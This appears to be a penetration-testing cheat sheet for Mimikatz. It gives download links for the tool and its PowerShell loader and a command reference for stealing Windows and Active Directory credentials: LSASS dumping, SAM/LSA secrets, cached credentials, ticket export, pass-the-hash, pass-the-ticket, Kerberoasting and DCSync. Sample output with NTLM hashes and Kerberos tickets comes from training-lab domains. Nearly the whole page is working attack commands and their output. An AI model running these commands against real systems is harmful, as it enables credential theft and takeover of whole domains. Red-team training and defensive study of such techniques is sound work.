Mimikatz

Unofficial Guide to Mimikatz & Command ReferenceActive Directory & Azure AD/Entra ID Security

Executable

https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zipgithub.com

Powershell

Invoke-Mimikatz

https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1raw.githubusercontent.com

GitHub - g4uss47/Invoke-Mimikatz: Powershell Mimikatz LoaderGitHub

List active user sessions

sekurlsa::logonPasswords full

Cache

PS C:\Users\Administrator\Desktop> .\mimikatz.exe token::elevate lsadump::cache exit

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SAM

SAM & LSA secrets

lsadump::sam

LSA

SAM & LSA secrets

lsadump::lsa /inject /name:krbtgt

Load lsass.dump (extract from procdump or task manager)

LSASS secrets User Privileges

C:\htb> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 23196355 (00000000:0161f2c3)
Session           : Interactive from 4
User Name         : DWM-4
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/31/2021 3:00:57 PM
SID               : S-1-5-90-0-4
        msv :
        tspkg :
        wdigest :
         * Username : WINLPE-SRV01$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

<SNIP> 

Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : jordan
Domain            : WINLPE-SRV01
Logon Server      : WINLPE-SRV01
Logon Time        : 3/31/2021 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-1000
        msv :
         [00000003] Primary
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
        tspkg :
        wdigest :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        kerberos :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        ssp :
        credman :

<SNIP>

Then Pass The Hash

Pass the Hash (PtH)

Export Tickets

Pass the Ticket (PtT) - Windows

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

mimikatz # exit
Bye!
c:\tools> dir *.kirbi

Directory: c:\tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----

<SNIP>

-a----        7/12/2022   9:44 AM           1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
-a----        7/12/2022   9:44 AM           1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi

<SNIP>

If you pick a ticket with the service krbtgt, it corresponds to the TGT of that account.

Extract Kerberos Keys

Pass the Ticket (PtT) - Linux

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys
<SNIP>

Then Pass the Key or OverPass the Hash

Pass the Key or OverPass the Hash

Pass the Ticket (PtT) - Windows

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

user    : plaintext
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 3f74aa8f08f712f09cd5177b5c1ce50f
  |  PID  1128
  |  TID  3268
  |  LSA Process is now R/W
  |  LUID 0 ; 3414364 (00000000:0034195c)
  \_ msv1_0   - data copy @ 000001C7DBC0B630 : OK !
  \_ kerberos - data copy @ 000001C7E20EE578
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 000001C7E2136BC8 (32) -> null

Pass the Ticket (PtT)

Pass the Ticket (PtT) - Windows

C:\tools> mimikatz.exe 

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"

* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

We can use the Mimikatz module misc to launch a new command prompt window with the imported ticket using the misc::cmd command

Kerberost

Kerberoast

If we do not specify the base64 /out:true command, Mimikatz will extract the tickets and write them to .kirbi files

Using 'mimikatz.log' for logfile : OK

mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

mimikatz # kerberos::list /export  

<SNIP>

[00000002] - 0x00000017 - rc4_hmac_nt      
   Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
   Server Name       : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL
   Client Name       : htb-student @ INLANEFREIGHT.LOCAL
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ; 
====================
Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
====================
doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T
UUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIE
rQSCBKmBMUn7JhVJpqG0ll7UnRuoeoyRtHxTS8JY1cl6z0M4QbLvJHi0JYZdx1w5
sdzn9Q3tzCn8ipeu+NUaIsVyDuYU/LZG4o2FS83CyLNiu/r2Lc2ZM8Ve/rqdd+TG
<SNIP>
MjAyMjUwODU1MjVapxEYDzIwMjIwMzAzMjI1NTI1WqgVGxNJTkxBTkVGUkVJR0hU
LkxPQ0FMqTswOaADAgECoTIwMBsITVNTUUxTdmMbJERFVi1QUkUtU1FMLmlubGFu
ZWZyZWlnaHQubG9jYWw6MTQzMw==
====================

   * Saved to file     : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi

<SNIP>

DCSync

C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\adunn powershell
Enter the password for INLANEFREIGHT\adunn:
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...

PS C:\htb> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : administrator
User Principal Name  : administrator@inlanefreight.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 10/27/2021 6:49:32 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4625fd0c31368ff4c255a3b876eaac3d

<SNIP>

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hashtagList active user sessions

hashtagCache

hashtagSAM

hashtagLSA

hashtagLoad lsass.dump (extract from procdump or task manager)

hashtagExport Tickets

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hashtagPass the Key or OverPass the Hash

hashtagPass the Ticket (PtT)

hashtagKerberost

hashtagDCSync

Executable

Powershell

List active user sessions

Cache

SAM

LSA

Load lsass.dump (extract from procdump or task manager)

Export Tickets

Extract Kerberos Keys

Pass the Key or OverPass the Hash

Pass the Ticket (PtT)

Kerberost

DCSync